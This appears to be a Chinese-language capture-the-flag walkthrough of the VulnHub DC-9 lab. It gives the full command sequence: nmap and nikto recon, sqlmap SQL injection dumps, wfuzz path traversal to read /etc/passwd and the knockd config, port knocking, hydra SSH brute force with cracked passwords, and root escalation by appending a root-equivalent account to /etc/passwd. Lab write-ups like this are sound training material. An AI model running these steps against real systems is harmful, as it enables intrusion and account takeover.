先去官网找到dc-9的靶场,
https://www.vulnhub.com/entry/dc-9,412/
然后下载,我下载的有镜像的版本,第一个下载不了(我这里访问不了下载地址)

然后第一步进行ip扫描
nmap -T4 -A -v 192.168.22.1/24


扫出来我的靶机是192.168.22.150
也可以使用arp-scan -l或者netdiscover -p
然后要查看开放了什么服务,就要进行端口扫描
依旧还是用nmap -sC -sV -oA dc-9 192.168.22.150查看开放了哪些端口

依然从80端口入手
http://192.168.22.150/
查看了一下没有什么可用信息,紧接着进行目录扫描
nikto -host 192.168.22.150

还是没有可以利用的信息,又接着对网页进行分析
他既然有一个查询框,可以尝试进行sql注入
‘ or 1=1 –+ //注意引号是英文
能确定有SQL注入
1、拿到库名
2、拿到表名
3、拿到一张表的全部数据
直接上sqlmap
sqlmap -u http://192.168.22.150/results.php –data "search=1" –dbs
然后探测出来了三个库(先看user库,在Staff)

sqlmap -u http://192.168.22.150/results.php –data "search=1" -D users –tables
只有一个表名


拿到用户名和密码后,把两个做成字典,可以用bp来暴力破解(能登录的入口只有ssh和web的后台)也可以用wfuzz破解,先尝试破解web后台
wfuzz -z file,user-dict -z file,pass-dict -d "username=FUZZ&password=FUZ2Z" http://192.168.22.150/manage.php

发现没有可用的账号密码
再次回到Staff库
sqlmap -u http://192.168.22.150/results.php –data "search=1" -D Staff –tables
![]()
只查到两个表,有先查看users表
sqlmap -u http://192.168.22.150/results.php –data "search=1" -D Staff -T Users –dump

查到一个admin用户 而密码是md加密,需要解密,解密为transorbital1
尝试登陆进网站后台,发现就多了两个选项,然后再manage页面有一个提示

这里可以联想到文件包含漏洞
就联想到http://192.168.136.130/manage.php?file=index.php
爆破参数名就可以使用wfuzz工具
wfuzz -b 'PHPSESSID=j9jviur7bbho4qvr2mv19dm00k' -w /usr/share/wfuzz/wordlist/general/common.txt –hw 100 http://192.168.136.130/manage.php?FUZZ=index.php

//////-b是添加一个登录的cookie值
运行命令发现没有找到可用的信息
这个index.php可能是相对路径,搜索不到结果,那么再次使用操作系统可以访问到的绝对路径尝试
wfuzz -b 'PHPSESSID=j9jviur7bbho4qvr2mv19dm00k' -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.136.130/manage.php?FUZZ=../../../../../../etc/passwd
可以多加几个../来保证回到根目录下

发现参数file是可以被利用的

这里我已经尝试过ssh登录这些用户,把之前sql注入获得到的账号密码做成一个字典,用
hydra -L users -P passwords -t 20 -o ssh_results.txt 192.168.1.100 ssh
去尝试了所有用户名都不行。
了解到有一个knockd的工具可以隐藏端口
knockd 是Linux/Unix 系统下最经典、最轻量化的端口敲门(Port Knocking)守护进程,通过 "先敲门、再开门" 的认证机制,让目标端口对未授权用户完全隐形,是隐藏 SSH、RDP 等管理端口的首选工具,广泛用于个人服务器、渗透测试后门和小型内网防护。
所有配置集中在 /etc/knockd.conf 文件,分为全局选项和敲门动作两部分。
尝试访问配置文件

发现有三个端口,依次去访问端口

nmap -p7469 192.168.136.130
nmap -p8475 192.168.136.130
nmap -p9842 192.168.136.130
nmap -p22 192.168.136.130 //前三个必须按顺序执行,然后执行这个命令来尝试
连接22端口,如果连接失败(如下图)

就再执行
for x in 7469 8475 9842 22 ;do nc 192.168.136.130 $x;done

再次执行nmap -p22 192.168.136.130

即可成功
然后把之前sqlmap的字典用来爆破ssh
hydra -L users -P pass 192.168.136.130 ssh

发现了三个可以尝试登陆的账户
chandlerb
UrAG0D!
———–
joeyt
Passw0rd
————
janitor
Ilovepeepee
依次用kali去远程连接192.168.136.130的ssh
ssh janitor@192.168.136.130
ssh joeyt@192.168.136.130
ssh chandlerb@192.168.136.130
一个普通用户要提权到root用户,就开始信息收集
#1、找敏感文件
ls -a
find / "*"
#2、可以用root权限去执行的程序
sudo -l
#3、查看历史命令
history
#4、内核漏洞
uname -a
依次对三个登陆的账号进行信息收集
发现在janitor用户发现多了一个文件,进一步打开就发现了很多的密码

这里我把新的密码拿出来又加在我之前的pass密码字典里面,再次爆破一下,看看能不能多出几个用户
发现多了一个fredf用户

对四个用户都查看能直接使用root权限的命令
发现fredf用户有一个
尝试运行一下命令
先进入到/opt/devstuff/dist/test/目录下,再执行./test
![]()
查看到是一个python代码,用法可能是读一个文件再追加到一个新的文件,
尝试找一下这个test.py
find / -name "test.py" 2>/dev/null
确认一下这个test.py的作用

然后可以我这里是添加一个新的·用户到/etc/passwd里面
admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash
我打算新添加一个admin用户权限和root一样(对/etc/passwd文件不熟悉的可以先去了解一下)
$1$admin$LClYcRe.ee8dQwgrFc5nz. //这里的密码是我通过kali带的openssl
openssl passwd -1 -salt admin 123456
先把这个信息写入到/tmp/newuser文件里面

再把/tmp/newuser追加到/etc/passwd里面


这里已经看到admin用户写入到了/etc/passwd里面
然后切换用户,最后提权成功
前面和后面可能ip不一样,是因为作者换了电脑完成的后面内容,请谅解
谢谢观看,不足之处请指正!


